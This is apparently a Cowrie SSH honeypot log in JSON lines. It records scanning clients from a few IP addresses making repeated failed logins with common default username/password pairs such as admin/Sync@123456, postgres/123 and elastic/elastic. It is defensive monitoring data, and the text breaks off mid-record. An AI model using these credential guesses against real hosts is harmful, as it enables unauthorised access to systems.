{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:07.113589Z","src_ip":"192.109.200.78","session":"35d19c1d34dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:07.378035Z","src_ip":"192.109.200.78","session":"35d19c1d34dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53804,"dst_ip":"159.203.135.109","dst_port":22,"session":"d718130d92f7","protocol":"ssh","message":"New connection: 159.203.92.129:53804 (159.203.135.109:22) [session: d718130d92f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:07.849488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:07.854301Z","src_ip":"159.203.92.129","session":"d718130d92f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:07.861313Z","src_ip":"159.203.92.129","session":"d718130d92f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Sync@123456","message":"login attempt [admin/Sync@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:07.906873Z","src_ip":"159.203.92.129","session":"d718130d92f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:08.463679Z","src_ip":"192.109.200.78","session":"35d19c1d34dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:08.913717Z","src_ip":"159.203.92.129","session":"d718130d92f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34256,"dst_ip":"10.17.0.5","dst_port":22,"session":"57de6630d061","protocol":"ssh","message":"New connection: 192.109.200.78:34256 (10.17.0.5:22) [session: 57de6630d061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:11.247751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:11.253033Z","src_ip":"192.109.200.78","session":"57de6630d061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:11.335254Z","src_ip":"192.109.200.78","session":"57de6630d061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:11.592458Z","src_ip":"192.109.200.78","session":"57de6630d061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:12.680577Z","src_ip":"192.109.200.78","session":"57de6630d061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34264,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f552a6d34d","protocol":"ssh","message":"New connection: 192.109.200.78:34264 (10.17.0.5:22) [session: e9f552a6d34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:15.436282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:15.440913Z","src_ip":"192.109.200.78","session":"e9f552a6d34d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:15.523085Z","src_ip":"192.109.200.78","session":"e9f552a6d34d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:15.993466Z","src_ip":"192.109.200.78","session":"e9f552a6d34d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:17.083909Z","src_ip":"192.109.200.78","session":"e9f552a6d34d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42034,"dst_ip":"10.17.0.5","dst_port":22,"session":"8923a02bb673","protocol":"ssh","message":"New connection: 192.109.200.78:42034 (10.17.0.5:22) [session: 8923a02bb673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:19.768293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:19.773349Z","src_ip":"192.109.200.78","session":"8923a02bb673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:19.855228Z","src_ip":"192.109.200.78","session":"8923a02bb673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:20.104987Z","src_ip":"192.109.200.78","session":"8923a02bb673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:21.194187Z","src_ip":"192.109.200.78","session":"8923a02bb673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42046,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e5f3a4b982e","protocol":"ssh","message":"New connection: 192.109.200.78:42046 (10.17.0.5:22) [session: 3e5f3a4b982e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:23.763610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:23.771979Z","src_ip":"192.109.200.78","session":"3e5f3a4b982e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:23.894283Z","src_ip":"192.109.200.78","session":"3e5f3a4b982e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:24.176092Z","src_ip":"192.109.200.78","session":"3e5f3a4b982e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:25.263823Z","src_ip":"192.109.200.78","session":"3e5f3a4b982e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55664,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2c800b713b5","protocol":"ssh","message":"New connection: 192.109.200.78:55664 (10.17.0.5:22) [session: a2c800b713b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:28.082452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:28.087699Z","src_ip":"192.109.200.78","session":"a2c800b713b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:28.171600Z","src_ip":"192.109.200.78","session":"a2c800b713b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:28.430431Z","src_ip":"192.109.200.78","session":"a2c800b713b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:29.515884Z","src_ip":"192.109.200.78","session":"a2c800b713b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55674,"dst_ip":"10.17.0.5","dst_port":22,"session":"0520d5122056","protocol":"ssh","message":"New connection: 192.109.200.78:55674 (10.17.0.5:22) [session: 0520d5122056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:32.253271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:32.258524Z","src_ip":"192.109.200.78","session":"0520d5122056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:32.344641Z","src_ip":"192.109.200.78","session":"0520d5122056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:32.801739Z","src_ip":"192.109.200.78","session":"0520d5122056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:34.195251Z","src_ip":"192.109.200.78","session":"0520d5122056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55686,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5f5770bd420","protocol":"ssh","message":"New connection: 192.109.200.78:55686 (10.17.0.5:22) [session: d5f5770bd420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:36.487784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:36.493017Z","src_ip":"192.109.200.78","session":"d5f5770bd420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-s